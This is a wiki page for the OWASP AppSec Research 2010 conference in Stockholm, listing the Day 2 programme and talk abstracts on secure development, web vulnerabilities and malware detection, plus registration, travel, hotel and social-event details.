<br />
The term 'Session Fixation vulnerability' subsumes issues in Web applications that under certain circumstances enable the adversary to perform a session hijacking attack through ontrolling the victim's session identier value. We explore this vulnerability pattern. First, we give an analysis of the root causes and document existing attack vectors. Then we take steps to assess the current attack surface of Session Fixation. Finally, we present a transparent server-side method for mitigating vulnerabilities. <br />
<br />
==== June 24 ====<br />
<br />
{| style="width:80%" border="0" align="center"<br />
|-<br />
| colspan="4" align="center" style="background:#4058A0; color:white" | '''Conference Day 2 - June 24, 2010''' <br />
[[Image:OWASP AppSec Research 2010 Research R.gif]] = Research paper [[Image:OWASP AppSec Research 2010 Demo D.gif]] = Demo [[Image:OWASP AppSec Research 2010 Presentation P.gif]] = Presentation <br />
<br />
|-<br />
| style="width:10%; background:#7B8ABD" | <br />
| style="width:30%; background:#BC857A" | Track 1 <br />
| style="width:30%; background:#BCA57A" | Track 2 <br />
| style="width:30%; background:#99FF99" | Track 3<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 08:00-08:50 <br />
| align="left" colspan="3" style="width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);" | Breakfast + Coffee<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 08:50-09:00<br />
| align="left" colspan="3" style="width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);" | Three Announcements from OWASP ([http://owasp.blip.tv/file/3918100/ video])<br />
|-<br />
| style="width:10%; background:#7B8ABD" | 09:00-10:00 <br />
| colspan="3" style="width:80%; background:rgb(252, 252, 150)" align="center" | [[#Keynote: The Security Development Lifecycle - The Creation and Evolution of a Security Development Process]] ([[Media:OWASP_AppSec_Research_2010_Keynote_2_by_Lipner.pdf|pdf]]) ([http://owasp.blip.tv/file/3917790/ video])<br>''Steve Lipner, Senior Director of Security Engineering Strategy, Microsoft Corporation''<br />
|-<br />
| style="width:10%; background:#7B8ABD" | 10:10-10:45 <br />
| style="width:30%; background:#BC857A" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#The Anatomy of Real-World Software Security Programs]] ([[Media:OWASP_AppSec_Research_2010_OpenSAMM_by_Chandra.pdf|pdf]]) ([http://owasp.blip.tv/file/3917922/ video])<br />
<br />
''Pravir Chandra, Fortify'' <br />
<br />
| style="width:30%; background:#BCA57A" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#Promon TestSuite: Client-Based Penetration Testing Tool]] (pdf not available yet) ([http://owasp.blip.tv/file/3917626/ video])<br />
<br />
''Folker den Braber and Tom Lysemose Hansen, Promon'' <br />
<br />
| style="width:30%; background:#99FF99" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#A Taint Mode for Python via a Library]] ([[Media:OWASP_AppSec_Research_2010_Taint_Mode_for_Python_by_Conti_and_Russo.pdf|pdf]]) ([http://owasp.blip.tv/file/3918194/ video])<br />
<br />
''Juan José Conti, Universidad Tecnológica Nacional<br>Alejandro Russo, Chalmers Univ. of Technology'' <br />
<br />
|-<br />
| style="width:10%; background:#7B8ABD" | 10:45-11:10 <br />
| colspan="3" style="width:90%; background:#C2C2C2" align="left" | Break - Expo - CTF, Coffee sponsor: [[Image:OWASP AppSec Research 2010 MyNethouse logo for program.png]]<br />
|-<br />
| style="width:10%; background:#7B8ABD" | 11:10-11:45 <br />
| style="width:30%; background:#BC857A" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Microsoft's Security Development Lifecycle for Agile Development]] ([[Media:OWASP_AppSec_Research_2010_Microsoft_SDL_Agile_by_Coblentz.pdf|pdf]]) ([http://owasp.blip.tv/file/3918259/ video])<br />
<br />
''Nick Coblentz, OWASP Kansas City Chapter and AT&T Consulting'' <br />
<br />
| style="width:30%; background:#BCA57A" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Detecting and Protecting Your Users from 100% of all Malware - How?]] ([[Media:OWASP_AppSec_Research_2010_Detecting_100%_Malware_by_Anstis_Pogulievsky.pdf|pdf]]) ([http://owasp.blip.tv/file/3917670/ video])<br />
<br />
''Bradley Anstis and Vadim Pogulievsky, M86 Security'' <br />
<br />
| style="width:30%; background:#99FF99" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#OPA: Language Support for a Sane, Safe and Secure Web]] ([[Media:OWASP_AppSec_Research_2010_OPA_by_Rajchenbach-Teller.pdf|pdf]]) ([http://owasp.blip.tv/file/3918159/ video without sound :( ])<br />
<br />
''David Rajchenbach-Teller and François-Régis Sinot, MLstate'' <br />
<br />
|-<br />
| style="width:10%; background:#7B8ABD" | 11:55-12:30 <br />
| style="width:30%; background:#BC857A" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Secure Application Development for the Enterprise: Practical, Real-World Tips]] ([[Media:OWASP_AppSec_Research_2010_Real-World_Tips_by_Craigue.pdf|pdf]]) ([http://owasp.blip.tv/file/3918017/ video])<br />
<br />
''Michael Craigue, Dell'' <br />
<br />
| style="width:30%; background:#BCA57A" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Responsibility for the Harm and Risk of Software Security Flaws]] ([[Media:OWASP_AppSec_Research_2010_Responsibility_for_Sec_Flaws_by_Goldschmidt.pdf|pdf]]) ([http://owasp.blip.tv/file/3917898/ video])<br />
<br />
''Cassio Goldschmidt, Symantec'' <br />
<br />
| style="width:30%; background:#99FF99" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#Secure the Clones: Static Enforcement of Policies for Secure Object Copying]] ([[Media:OWASP_AppSec_Research_2010_Secure_Cloning_by_Jensen.pdf|pdf]]) ([http://owasp.blip.tv/file/3918334/ video])<br />
<br />
''Thomas Jensen and David Pichardie, INRIA Rennes - Bretagne Atlantique'' <br />
<br />
|-<br />
| style="width:10%; background:#7B8ABD" | 12:30-13:45 <br />
| colspan="3" style="width:80%; background:#C2C2C2" align="left" | Lunch - Expo - CTF, '''Lunch break sponsoring position open''' ($4,000)<br />
|-<br />
| style="width:10%; background:#7B8ABD" | 13:45-14:20 <br />
| style="width:30%; background:#BC857A" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Product Security Management in Agile Product Management]] ([[Media:OWASP_AppSec_Research_2010_Agile_Prod_Sec_Mgmt_by_Vaha-Sipila.pdf|pdf]]) ([http://owasp.blip.tv/file/3917970/ video])<br />
<br />
''Antti Vähä-Sipilä, Nokia'' <br />
<br />
| style="width:30%; background:#BCA57A" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Hacking by Numbers]] ([[Media:OWASP_AppSec_Research_2010_Hacking_by_Numbers_by_Brennan.pdf|pdf]]) ([http://owasp.blip.tv/file/3918065/ video])<br />
<br />
''Tom Brennan, WhiteHat Security and OWASP Foundation<br>'' <br />
<br />
| style="width:30%; background:#99FF99" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#Safe Wrappers and Sane Policies for Self Protecting JavaScript]] ([[Media:OWASP_AppSec_Research_2010_Safe_Wrappers_by_Magazinius.pdf|pdf]]) ([http://owasp.blip.tv/file/3917719/ video])<br />
<br />
''Jonas Magazinius, Phu H. Phung, and David Sands, Chalmers Univ. of Technology'' <br />
<br />
|-<br />
| style="width:10%; background:#7B8ABD" | 14:30-15:05 <br />
| style="width:30%; background:#BC857A" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#OWASP_Top_10_2010]] ([[Media:OWASP_AppSec_Research_2010_OWASP_Top_10_by_Wichers.pdf|pdf]]) ([http://owasp.blip.tv/file/3917942/ video])<br />
<br />
''Dave Wichers, Aspect Security and OWASP Foundation<br>'' <br />
<br />
| style="width:30%; background:#BCA57A" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Application Security Scoreboard in the Sky]] ([[Media:OWASP_AppSec_Research_2010_Appsec_Scoreboard_by_Eng.pdf|pdf]]) ([http://owasp.blip.tv/file/3918005/ video])<br />
<br />
''Chris Eng, Veracode'' <br />
<br />
| style="width:30%; background:#99FF99" align="left" | <br />
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#On the Privacy of File Sharing Services]] (pdf & video not available because of potential zero-day)<br />
<br />
''N Nikiforakis, F Gadaleta, Y Younan, and W Joosen, Katholieke Universiteit Leuven'' <br />
<br />
|-<br />
| style="width:10%; background:#7B8ABD" | 15:05-15:30 <br />
| colspan="3" style="width:80%; background:#C2C2C2" align="left" | Break - Expo - CTF, '''Coffee break sponsoring position open''' ($2,000)<br />
|-<br />
| style="width:10%; background:#7B8ABD" | 15:30-16:00 <br />
| colspan="3" style="width:90%; background:#F2F2F2" align="center" | CTF Price Ceremony, Announcement of OWASP AppSec EU 2011, Closing Notes ([[Media:OWASP_AppSec_Research_2010_Closing_Talk_by_Wilander.pdf|pdf]])<br />
|}<br />
<center><br />
[[Image:AppSec Research 2010 Microsoft diamond sponsor.jpg|250px|Microsoft - Diamond Sponsor]] [[Image:AppSec Research 2010 Google 20k sponsor.jpg|150px|Google - Dinner Party and Expo Sponsor]] [[Image:Portwise logo.png|130px|PortWise - Gold and Badge Sponsor]] [[Image:Cybercom logo.png|100px|Cybercom - Gold Sponsor]] [[Image:Fortify logo AppSec Research 2010.png|120px|Fortify - Gold Sponsor]] [[Image:Omegapoint logo.png|110px|Omegapoint - Gold Sponsor]] [[Image:Mnemonic logo.png|100px|Mnemonic - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Nixu logo.jpg|100px|NIXU - Silver Sponsor]] [[Image:Hps_logo.png|140px|High Performance Systems - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor F5 logo.jpg|70px|F5 - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Imperva logo.jpg|100px|Imperva - Silver Sponsor]] [[Image:AppSec_Research_2010_sponsor_Promon_logo.jpg|100px|Promon - Silver Sponsor]] [[Image:IIS logo.png|100px|Stiftelsen för Internetinfrastruktur - Lunch Sponsor]] [[Image:MyNethouse logo.png|100px|MyNethouse - Coffee Break Sponsor]] [[Image:AppSec Research 2010 Help Net Security sponsor.jpg|100px|Help Net Security - Media Sponsor]] [[Image:TrustwaveLogo.jpg|100px|Trustwave - Notepad sponsor]]<br />
</center> <br />
== Keynote: The Security Development Lifecycle - The Creation and Evolution of a Security Development Process ==<br />
<br />
[[Image:Appsec research 2010 invited talk 2.jpg]] <br />
<br />
'''Steve Lipner'''<br> Senior Director of Security Engineering Strategy, Trustworthy Computing Security, Microsoft Corporation.<br> Co-author of "The Security Development Lifecycle", Microsoft Press (book cover above). <br />
<br />
'''Abstract'''<br> This keynote will review the evolution of the Security Development Lifecycle (SDL) from its origins in the Microsoft “security pushes” of 2002-3 through its current status and application in 2010. It will emphasize the aspects of change and change management as the SDL and its user community have matured and grown and will conclude with a summary of some recent changes and additions to the SDL. Specific topics to be addressed include: <br />
<br />
*Motivations for introducing both the SDL and its predecessor processes. <br />
*Considerations in selling the process to management and sustaining a mandate over a prolonged period. <br />
*Scaling the SDL to an organization with tens of thousands of engineers. <br />
*Managing change. <br />
*The role of automation in the SDL. <br />
*Adaptation of the SDL to agile development processes. <br />
*Thoughts for organizations that are considering implementing the SDL.<br />
<br />
The presentation will cover technical aspects of the SDL including a brief review of requirements and tools, and results. <br />
<br />
'''Speaker Bio'''<br> Steven B. Lipner is senior director of Security Engineering Strategy at Microsoft Corp where he is responsible for programs that provide improved product security for Microsoft customers. Lipner leads Microsoft’s Security Development Lifecycle (SDL) team and is responsible for the definition of Microsoft’s SDL and for programs to make the SDL available to organizations beyond Microsoft. Lipner is also responsible for Microsoft’s corporate strategies related to government security evaluation of Microsoft products. <br />
<br />
Lipner is coauthor with Michael Howard of The Security Development Lifecycle (Microsoft Press, 2006) and is named as inventor on twelve U.S. patents and two pending applications in the field of computer and network security. He has authored numerous professional papers and conference presentations, and served on several National Research Council committees. He served two terms – a total of more than ten years – on the United States Information Security and Privacy Advisory Board and its predecessor. Lipner holds S.B. and S.M. degrees in Civil Engineering from the Massachusetts Institute of Technology and attended the Harvard Business School’s Program for Management Development. <br />
<br />
== DAY 2, TRACK 1 ==<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] The Anatomy of Real-World Software Security Programs ===<br />
<br />
''Pravir Chandra, Fortify'' <br />
<br />
Effectively reducing risk from software vulnerabilities remains a challenge for most organizations despite the existence of several secure SDLC models. From conducting technical assessments to earning management buy-in, there may not seem to be a lot of easy answers along the way, but experiences from the field shows that there is indeed hope. We've learned that the hard questions of "what", "when", and "how much" simply require the answers to be customized to each organization. Whether you’re a developer or a CISO, this talk will leave you with actionable advice that you can use to help take your software security assurance program to the next level.<br />
<br />
To help organizations formulate their own solutions, we'll discuss several real-world examples of programs in action. From there, we’ll talk about lessons learned and introduce the ''Open Software Assurance Maturity Model'' (OpenSAMM), a flexible framework for building a balanced software security assurance program (OpenSAMM is an open and free OWASP project and more information is available at http://www.opensamm.org). Using the framework, attendees will learn how to self-assess their security activities and use available resources to drive improvement in small and measurable iterations. With time remaining, we’ll also discuss the latest work on the OpenSAMM project and how it relates to other modern approaches to building out assurance programs.<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Microsoft's Security Development Lifecycle for Agile Development ===<br />
<br />
''Nick Coblentz, OWASP Kansas City Chapter and AT&amp;T Consulting'' <br />
<br />
Many development and security teams believe Agile development cannot be accomplished securely. During this presentation, Nick Coblentz will discuss the recent guidance from Microsoft that enables development teams to include secure development activities within their Agile processes without compromising features or functionality. Nick will also demonstrate ASP.NET libraries, strategies, and automated tools to reduce the effort required by developers.<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Secure Application Development for the Enterprise: Practical, Real-World Tips ===<br />
<br />
''Michael Craigue, Dell'' <br />
<br />
Dell has a reputation for IT simplification and a lean cost structure. We take the same approach with our application security program. This talk covers money-saving tips in the creation and evolution of Dell's Security Development Lifecycle, including risk assessments, security reviews, threat modeling, source code scans, awareness/training, application security user groups, security consulting staff development, and assurance scans/penetration testing. We’ll discuss how we have adapted our program to our IT, Product Group, and Services organizations. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Product Security Management in Agile Product Management ===<br />
<br />
''Antti Vähä-Sipilä, Nokia'' <br />
<br />
This paper provides a model for product security risk management and security requirements elicitation in an agile product management framework, using the concepts of Scrum and an epics-based agile requirements model. The paper documents some real-life experiences of rolling out such a risk management model. The model addresses security threat analysis and risk acceptance, and is agnostic to the actual security engineering practices employed in the Scrum teams, and is scalable over large and small enterprises. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] OWASP Top 10 2010 ===<br />
<br />
''Dave Wichers, Aspect Security and OWASP Foundation'' <br />
<br />
This presentation will cover the OWASP Top 10 - 2010 (final version). The OWASP Top 10 was originally released in 2003 to raise awareness of the importance of application security. As the field evolves, the Top 10 needs to be periodically updated to keep with up with the times. The Top 10 was updated in 2004 and the last update was in 2007, where it introduced Cross Site Request Forgery (CSRF) as the big new emerging web application security risk. <br />
<br />
This update will be based on more sources of web application vulnerability information than the previous versions were when determining the new Top 10. It will also present this information in a more concise, compelling, and consumable manner, and include strong references to the many new openly available resources that can help address each issue, particularly OWASP's new Enterprise Security API (ESAPI) and Application Security Verification Standard (ASVS) projects. <br />
<br />
A significant change for this update will be that the OWASP Top 10 will be focused on the Top 10 Risks to Web Applications, not just the most common vulnerabilities. <br />
<br />
== DAY 2, TRACK 2 ==<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] Promon TestSuite: Client-Based Penetration Testing Tool ===<br />
<br />
''Folker den Braber and Tom Lysemose Hansen, Promon'' <br />
<br />
Vulnerability analysis has a wide scope containing both social and technical aspects. An important part of technical vulnerability analysis consists of penetration testing. In most cases, penetration testing is focused on either server side or network layer vulnerabilities. In this demonstration we will have a closer look at vulnerability analysis on the client side, while demonstrating the use of the Promon Testuite testing tool. <br />
<br />
Promon TestSuite is designed to use the same vectors as common malware but in a clear and visual way, with varying payloads to illustrate the security issues involved with giving injected code free access to a programs memory. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Detecting and Protecting Your Users from 100% of all Malware - How? ===<br />
<br />
''Bradley Anstis and Vadim Pogulievsky, M86 Security'' <br />
<br />
100% Malware detection is the goal but is it really achievable? This session looks at the traditional Malware detection technologies and how well they perform today and then compares this to some newer approaches with demonstrations of Real-time code analysis and Behavioral Analysis technologies to see what is better or worse.<br />
<br />
100% detection rates are the goal, but how close can we get with a single technology, or what combination of technologies can we use to get as close as possible?<br />
<br />
This session is all about challenging the existing accepted practices for Malware protection. We want to open the minds of the attendees, encourage them to question existing solutions and the incumbent market leading vendors. We want you to also re-evaluate their environment to see if improvements can be made.<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Responsibility for the Harm and Risk of Software Security Flaws ===<br />
<br />
''Cassio Goldschmidt, Symantec Corp'' <br />
<br />
Who is responsible for the harm and risk of security flaws? The advent of worldwide networks such as the internet made software security (or the lack of software security) become a problem of international proportions. There are no mathematical/statistical risk models available today to assess networked systems with interdependent failures. Without this tool, decision-makers are bound to overinvest in activities that don’t generate the desired return on investment or under invest on mitigations, risking dreadful consequences. Experience suggests that no party is solely responsible for the harm and risk of software security flaws but a model of partial responsibility can only emerge once the duties and motivations of all parties are examine and understood. <br />
<br />
State of the art practices in software development won’t guarantee products free of flaws. The infinite principles of mathematics are not properly implemented in modern computer hardware without having to truncate numbers and calculations. Many of the most common operating systems, network protocols and programming languages used today were first conceived without the basic principles of security in mind. Compromises are made to maintain compatibility of newer versions of these systems with previous versions. Evolving software inherits all flaws and risks that are present in this layered and interdependent solution. Lastly, there are no formal ways to prove software correctness using neither mathematics nor definitive authority to assert the absence of vulnerabilities. The slightest coding error can lead to a fatal flaw. Without a doubt, vulnerabilities in software applications will continue to be part of our daily lives for years to come. <br />
<br />
Decisions made by adopters such as whether to install a patch, upgrade a system or employed insecure configurations create externalities that have implications on the security of other systems. Proper cyber hygiene and education are vital to stop the proliferation of computer worms, viruses and botnets. Furthermore, end users, corporations and large governments directly influence software vendors’ decisions to invest on security by voting with their money every time software is purchased or pirated. <br />
<br />
Security researchers largely influence the overall state of software security depending on the approach taken to disclose findings. While many believe full disclosure practices helped the software industry to advance security in the past, several of the most devastating computer worms were created by borrowing from information detailed by researcher’s full disclosure. Both incentives and penalties were created for security researchers: a number of stories of vendors suing security researchers are available in the press. Some countries enacted laws banning the use and development of “hacking tools”. At the same time, companies such as iDefense promoted the creation of a market for security vulnerabilities providing rewards that are larger than a year’s worth of salary for a software practitioner in countries such as China and India. <br />
<br />
Effective policy and standards can serve as leverage to fix the problem either by providing incentives or penalties. Attempts such PCI created a perverse incentive that diverted decision makers’ goals to compliance instead of security. Stiff mandates and ineffective laws have been observed internationally. Given the fast pace of the industry, laws to combat software vulnerabilities may become obsolete before they are enacted. Alternatively, the government can use its own buying power to encourage adoption of good security standards. One example of this is the Federal Desktop Core Configuration (FDCC). <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Hacking by Numbers ===<br />
<br />
''Tom Brennan, WhiteHat Security and OWASP Foundation'' <br />
<br />
There is a difference between what is possible and what is probable, something we often lose sight of in the world of information security. For example, a vulnerability represents a possible way for an attacker to exploit an asset, but remember not all vulnerabilities are created equal. Obviously we must also keep in mind that just because a vulnerability exists does not necessarily mean it will be exploited, or indicate by whom or to what extent. Clearly, many vulnerabilities are very serious leaving the door open to compromise of sensitive information, financial loss, brand damage, violation of industry regulations, and downtime. Some vulnerabilities are more difficult to exploit than others and therefore attract different attackers. Autonomous worms &amp; viruses may attack one type of issue, while a sentient targeted attacker may prefer another path. Better understanding of these factors enables us to make informed business decisions about website risk management and what is probable. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Application Security Scoreboard in the Sky ===<br />
<br />
''Chris Eng, Veracode'' <br />
<br />
This presentation will discuss vulnerability metrics gathered from real-world applications. The statistics are derived from continuously updated data collected by Veracode’s cloud-based code analysis service. The anonymized data represents a total of nearly 1,600 applications submitted for analysis by large and small companies, commercial software providers, open source projects, and software outsourcers between February 2007 and January 2010. This is the first vulnerability analytics study of this magnitude that incorporates data from both static analysis and dynamic analysis. <br />
<br />
We will compare the relative security of applications by industry and origin, and we will examine detailed vulnerability distribution data in the context of taxonomies such as the OWASP Top Ten and the CWE/SANS Top 25 Programming Errors. <br />
<br />
== DAY 2, TRACK 3 ==<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] A Taint Mode for Python via a Library ===<br />
<br />
''Juan José Conti, Universidad Tecnológica Nacional, and Alejandro Russo, Chalmers University of Technology'' <br />
<br />
Vulnerabilities in web applications present threats to on-line systems. SQL injection and cross-site scripting attacks are among the most common threats found nowadays. These attacks are often result of improper or none input validation. To help discover such vulnerabilities, taint analyses have been developed in popular web scripting languages like Perl, Ruby, PHP, and Python. Such analysis are often implemented as an execution monitor, where the interpreter needs to be adapted to provide a taint mode. However, modifying interpreters might be a major task in its own right. In fact, it is very probably that new releases of interpreters require to be adapted to provide a taint mode. Differently from previous approaches, we show how to provide a taint analysis for Python via a library written entirely in Python, and thus avoiding modifications in the interpreter. The concepts of classes, decorators and dynamic dispatch makes our solution lightweight, easy to use, and particularly neat. With minimal or none effort, the library can be adapted to work with different Python interpreters. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] OPA: Language Support for a Sane, Safe and Secure Web ===<br />
<br />
''David Rajchenbach-Teller and François-Régis Sinot, MLstate'' <br />
<br />
Web applications and services have critical needs in terms of safety, security and privacy: they need to remain available constantly and can at any time be the object of attacks by malicious and anonymous distant users attempting to take control, alter data or steal it, or cause unwanted behaviors. Unfortunately, recent history shows numerous cases of popular web applications falling victim to such attacks, despite careful attempts to secure them. <br />
<br />
In this paper, we introduce OPA (One Pot Application), a new platform designed to make web development sane, safe and secure. OPA provides an integrated methodology where the complete application is written with one simple language with consistent semantics, enforces safe use of the infrastructure through compile-time static checking and a novel programming paradigm suited to the web and encourages correct-by-construction development. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] Secure the Clones: Static Enforcement of Policies for Secure Object Copying ===<br />
<br />
''Thomas Jensen and David Pichardie, INRIA Rennes - Bretagne Atlantique'' <br />
<br />
Exchanging mutable data objects with untrusted code is a delicate matter because of the risk of creating a data space that is accessible by both a code and an attacker. Consequently, secure programming guidelines for Java stress the importance of using defensive copying before accepting or handing out references to an internal mutable object. However, implementation of a copy method (like clone()) is entirely left to the programmer. It may not provide a sufficiently deep copy of an object and is subject to overriding by a malicious sub-class. Currently no language-based mechanism supports secure object cloning. <br />
<br />
This paper proposes a type-based annotation system for defining modular cloning policies for class-based object-oriented programs. It provides a static enforcement mechanism that will guarantee that all classes fulfill their copying policy, even in the presence of overriding of copy methods, and establishes the semantic correctness of the overall approach. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] Safe Wrappers and Sane Policies for Self Protecting JavaScript ===<br />
<br />
''Jonas Magazinius, Phu H. Phung, and David Sands, Chalmers Univ. of Technology'' <br />
<br />
Phung et al (ASIACCS’09) describe a method for wrapping built-in methods of JavaScript programs in order to enforce security policies. The method is appealing because it requires neither deep transformation of the code nor browser modification. Unfortunately the implementation outlined suffers from a range of vulnerabilities, and policy construction is restrictive and error prone. In this paper we address these issues to provide a systematic way to avoid the identified vulnerabilities, and make it easier for the policy writer to construct declarative policies – i.e. policies upon which attacker code has no side effects. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] On the Privacy of File Sharing Services ===<br />
<br />
''Nick Nikiforakis, Francesco Gadaleta, Yves Younan, and Wouter Joosen, Katholieke Universiteit Leuven'' <br />
<br />
File sharing services are used daily by tens of thousands of people as a way of sharing files. Almost all such services, use a security-through-obscurity method of hiding the files of one user from others. For each uploaded file, the user is given a secret URL which supposedly cannot be guessed. The user can then share his uploaded file by sharing this URL with other users of his choice. Unfortunately though, a number of file sharing services are incorrectly implemented allowing an attacker to guess valid URLs of millions of files and thus allowing him to enumerate their file database and access all of the uploaded files. In this paper, we study some of these services and we record their incorrect implementations. We design automatic enumerators for two such services and a privacy-classifying module which characterises an uploaded file as private or public. Using this technique we gain access to thousands of private files ranging from private and company documents to personal photographs. We present a taxonomy of the private files found and ways that the users and services can protect themselves against such attacks. <br />
<br />
==== Registration ====<br />
<br />
== Registration is closed ==<br />
<br />
'''[http://guest.cvent.com/i.aspx?4W%2cM3%2c717e8a7c-4453-47ff-addb-721306529534 You used to click here to register :)]''' <br />
<br />
Note: To save on processing expenses, all fees paid for the OWASP conference are non-refundable. OWASP can accommodate transfers of registrations from one person to another, if such an adjustment becomes necessary.<br />
<br />
== Stay Informed ... and Tell Others ==<br />
<br />
[https://lists.owasp.org/mailman/listinfo/appsec_eu_2010 People subscribed to the conference '''mailing list''']. This was the official information channel and you'd be sure to get any updates and practical info before the conference. <br />
<br />
[http://events.linkedin.com/OWASP-AppSec-Research-2010/pub/185990 People added the event to their '''LinkedIn''' profle] to tell all their business contacts that AppSec Research 2010 was the place to be. <br />
<br />
Then people got on the '''Twitter''' stream by using the tags '''#OWASP''' and '''#AppSecEU'''.<br />
<br />
== Conference Fees (June 23-24) ==<br />
<br />
*Regular registration: €350 <br />
*OWASP individual member (not just chapter member): €300 <br />
*Full-time students*: €225<br />
<br />
<nowiki>*</nowiki> We need some kind of proof of your full-time student status. Either ask your local OWASP chapter leader to vouch for you by email to Kate.Hartmann@owasp.org, or email Kate a scanned image of your student ID (please compress the file size&nbsp;:). <br />
<br />
== Training Fee (June 21-22) ==<br />
<br />
*Training fee is €990 for two days, see Training tab above<br />
<br />
==== Practical Info ====<br />
<br />
== Tailor-Made Visitors' Guide ==<br />
<br />
We have tailor-made a 15-page visitors' guide to the conference and Stockholm. With this guide you'll know how to get to and from the airport, find your way to the hotel and conference, know where good bars are, know when and how to tip etc. Check it out! [http://www.owasp.org/images/e/eb/OWASP_AppSec_Research_2010_Visitors_Guide_A4.pdf pdf]<br />
<br />
== Swedish Wall Plugs ==<br />
<br />
This is how Swedish wall plugs look like (image below). The left one is not grounded and the right one is, having small metal connectors on the sides. Be sure to bring adapters, for instance like [http://international-electrical-supplies.com/sweden-plug-adapters.html these], if your's look different.<br />
<br />
[[Image:Swedish_wall_plugs.jpg]]<br />
<br />
== Weather Forecast ==<br />
<br />
YR.no has good coverage of the weather in Stockholm. Checkit out [http://www.yr.no/place/Sweden/Stockholm/Stockholm/ here].<br />
<br />
== Travel ==<br />
<br />
Stockholm's foremost international airport is Arlanda (ARN). Clean and convenient speed trains will take you between Arlanda and Stockholm Central in 20 minutes. You can also fly to Stockholm Skavsta (NYO) or Stockholm Västerås (VST) where coaches take you to Stockholm Central in 1 h 20 min. <br />
<br />
== Accommodation ==<br />
<br />
You can choose hotel/hostel freely in Stockholm but we provided three suggestions with pre-booked rooms so many OWASPers are staying there. '''Check with sites like [http://www.hotels.com hotels.com] since they might have better prices than the hotels state themselves!''' <br />
<br />
[[Image:Stockholm map with hotels and public transportation.jpg]] <br />
<br />
Subways and buses are convenient and safe and will take you right up to the venue (station/stop "Universitetet") from these three hotels: <br />
<br />
'''Best Western Time Hotel'''<br> Why? Closest to the university, direct bus or subway to the conference<br> [http://www.timehotel.se/index.aspx?languageID=5 Best Western Time Hotel]<br> Single room: 1395 SEK/€145/$195<br> Double room: 1575 SEK/€160/$220<br> (Rooms were pre-booked until May 18 under code "G#73641 OWASP")<br> <br />
<br />
'''Scandic Continental'''<br> Why? Right at the Central Station, convenient travel to and from airport, direct subway to the conference<br> [http://www.scandichotels.com/en/Hotels/Countries/Sweden/Stockholm/Hotels/Scandic-Continental-Stockholm/ Scandic Continental]<br> Single room: 1590 SEK/€165/$220<br> Double room: 1690 SEK/€175/$235<br> (Rooms were pre-booked until early May under code "OWASP")<br> <br />
<br />
'''Fridhemsplan's Hostel'''<br> Why? Affordable stay in Stockholm's nicest hostel, direct bus to the conference<br> [http://fridhemsplan.se/?p=Main&c= Fridhemsplan's Hostel]<br> Rooms cost €35-€55 ($50-$80)<br> Book directly with them through their webpage. <br />
<br />
==== Social Events ====<br />
<br />
== Official Meet Up at "Mosebacke", Tuesday, June 22 ==<br />
Regardless whether you're one of the lucky ones who will attend training or you'll just attend the conference you are invited to join us at "Mosebacke" on the evening the 22nd. Mosebacke is one of Stockholm's older establishments and is beautifully situated in the south of Stockholm city (only 2 subway stations from Central Station). The official meet up time is 20:00 CEST. We plan on beverage only, but for those who don't mind spending a little extra money on food, you can reserve a table for early evening by calling +46 8 556 098 90 during 2 pm - 5 pm (work days) or with some luck by e-mailing to mosebacke@mosebacke.se.<br />
<br />
How will you recognize all the other OWASPers? Some of us will have OWASP-branded grey caps, some you met earlier, some you recognize from pictures, and if you hear any non-Swedish speaking male I guess chances are they're just like you - here for the AppSec conference :).<br />
<br />
'''What''': Informal gathering, beer etc.<br><br />
'''When''': 8 pm CEST<br><br />
'''Where''': Mosebacke, Mosebacke Torg 3 [http://maps.google.se/maps?f=q&source=s_q&hl=sv&geocode=&q=Mosebacke+Etablissement,+Stockholm&sll=59.320492,18.074398&sspn=0.024831,0.077162&gl=se&ie=UTF8&hq=Mosebacke&hnear=Mosebacke,+Mosebacke+Torg+3,+116+46+Stockholm&ll=59.320492,18.074398&spn=0.024831,0.077162&t=h&z=14&iwloc=A Google Maps]<br><br />
